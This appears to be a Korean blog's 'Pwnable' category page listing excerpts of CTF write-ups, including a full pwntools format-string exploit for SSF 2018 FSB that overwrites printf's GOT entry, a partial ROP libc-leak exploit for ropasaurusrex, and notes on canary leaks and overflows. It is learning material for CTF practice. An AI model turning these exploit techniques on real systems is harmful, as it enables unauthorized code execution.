M1/M2 환경에서 Pwnable 환경 구성하기

Pwnable 2023. 10. 11. 12:23

대부분의 pwnable, reversing 바이너리들은 x86_64 환경에서 제작되고 실행되는 경우가 많습니다. 하지만 M1/M2는 arm64여서 실행이 되지 않는데, 드림핵 보면서 많은 분들이 M1/M2 환경에서 pwnable, reversing 할 때 어떻게 진행해야하는지 모르시거나 환경구축에 애로사항이 있으신거 같아 글로 남겨봅니다. 현재 저의 맥북 사양은 M1 pro / 16GB / 512GB / iterm2 입니다. 오류/정정사항 있는 경우, 또는 더 좋은 방법이 있는 경우 디스코드 rasser_ 으로 연락주시면 수정하겠습니다. 1. 원하는 우분투 버전의 server 이미지를 다운 받습니다. (저는 20.04를 추천합니다) Desktop 이미지가 아니라 server 이미지를 사용하는 이유는 De..

Article Thumbnail
ShaktiCTF - Cache 7

Pwnable 2022. 2. 27. 22:50

main함수 int main(void) { long in_FS_OFFSET; int choice; undefined8 canary; canary = *(undefined8 *)(in_FS_OFFSET + 0x28); initialize(); while( true ) { while( true ) { while( true ) { while( true ) { printmenu(); puts("choice :"); __isoc99_scanf(&DAT_00400aa4,&choice); if (choice != 1) break; add(); } if (choice != 2) break; view(); } if (choice != 3) break; delete(); } if (choice == 4) break; pu..

Article Thumbnail
SSF 2018 FSB

Pwnable 2021. 12. 30. 01:16

from pwn import * context.log_level = 'debug' p = process('./fsb') e = ELF('./fsb') shell = 4196006 printf_got = e.got['printf'] payload = "%4196006d" payload += "%8$ln" payload += "\x00"*2 payload += p64(printf_got) p.sendline(payload) p.interactive()

Ropasaurusrex

Pwnable 2021. 12. 30. 01:16

HackCTF의 ROP와 매우 유사한 문제. rop란? https://d4m0n.tistory.com/84 ← 블로그 참조. 코드 설명 write와 read함수만 있고 이 함수들을 이용하여 주소를 leak하고, 그 주소를 바탕으로 원하는 함수의 offset을 더해서 실제 함수 주소를 구한후 호출한다. 이때 pppr은 가젯의 주소로써, esp 레지스터의 값 조작. 가젯에 대한 설명은 https://d4m0n.tistory.com/80 의 중간 부분에 설명되어 있음. 공격 시나리오 write함수를 통해 read_got의 주소를 구한다. write(1, read_got, 4)을 호출하여 read_got를 출력한다. read_got의 주소를 구했으면, 구한 주소 - read_got의 offset을 빼주어 파일에..

SSF 2018 FSB

Pwnable 2021. 10. 17. 20:58

from pwn import * context.log_level = 'debug' p = process('./fsb') e = ELF('./fsb') shell = 4196006 printf_got = e.got['printf'] payload = "%4196006d" payload += "%8$ln" payload += "\x00"*2 payload += p64(printf_got) p.sendline(payload) p.interactive()

ROPASAURUSREX

Pwnable 2021. 10. 17. 20:58

보호기법 from pwn import * context.log_level = 'debug' p = process('./ropasaurusrex') e = ELF('./ropasaurusrex') pppr = 0x80484b6 bss = e.bss() + 0x100 libc = e.libc read_got = e.got['read'] read_plt = e.plt['read'] read_offset = e.symbols['read'] write_plt = e.plt['write'] write_got = e.got['write'] payload = "A"*140 #======get read_got=========== payload += p32(write_plt) payload += p32(pppr) payl..

Article Thumbnail
값 입력하고 바로 종료될때 메모리 값 보는방법

Pwnable 2021. 10. 5. 22:26

print(util.proc.pidof(r)) pause() $rsp하면 값 볼수있음

SSTF 2021 - L0st Ark

Pwnable 2021. 8. 31. 23:42

2021년 SSTF CTF 문제이다. 우선 기드라로 보면 create()함수에서 1,2,3은 정상적으로 메뉴에서 출력하는 부분이지만 7을 입력했을때 Lupeon이라는 부분을 실행한다 이 Lupeon 부분을 보면 마지막쪽에 gift라는 부분을 인자로 전달함을 알 수 있다. 이 gift는 쉘을 실행ㅎ시키는 함수이다. 이 gift를 실행시키면 될거 같다. 우선 Lupeon 다음 부분에 bp를 걸고 보자. 0x555555570ea0:0x00000000000000000x0000000000000061 0x555555570eb0:0x000055555555db680x0000555555570ec8 0x555555570ec0:0x00000000000000060x00006e6f6570754c# len("Lupeon")"Lu..

Article Thumbnail
2016 Codegate watermelon

Pwnable 2021. 7. 25. 18:34

이부분은 뭐 딱히 없고 입력 받은 값에 따라서 알맞은 메뉴 출력 함수 main부분 PrintMenu에서 나온 반환 값을 가지고 알맞은 함수 호출 -1을 입력하면 히든 함수를 호출하고, 0~4까지는 정상적인 함수 호출 음악의 개수가 100개가 되면 더이상 추가를 하지 못한다. 이 함수에서는 딱히 취약점이 보이지 않는다. read함수에서도 0x15만큼의 적당한 값을 주어줌 리스트 보기 이 함수는 저장된 플레이리스트의 번호, 음악, 작곡가를 출력해주는데 printf로 출력을 해주기 때문에 카나리 릭이 가능. 그 이외에는 딱히 취약점 부분 없음 리스트 수정 가장 마지막의 read에서 bof 취약점이 발생 공격 시나리오 총 100개의 리스트를 만든다 리스트 수정 함수를 통해 카나리까지 값을 수정하고 리스트를 보는..

Article Thumbnail
Ropasaurusrex

Pwnable 2021. 7. 25. 18:29

HackCTF의 ROP와 매우 유사한 문제. rop란? https://d4m0n.tistory.com/84 ← 블로그 참조. from pwn import * context.log_level = 'debug' p = process('./ropasaurusrex') e = ELF('./ropasaurusrex') pppr = 0x80484b6 bss = e.bss() + 0x100 libc = e.libc read_got = e.got['read'] read_plt = e.plt['read'] read_offset = e.symbols['read'] write_plt = e.plt['write'] write_got = e.got['write'] payload = "A"*140 #======get read_g..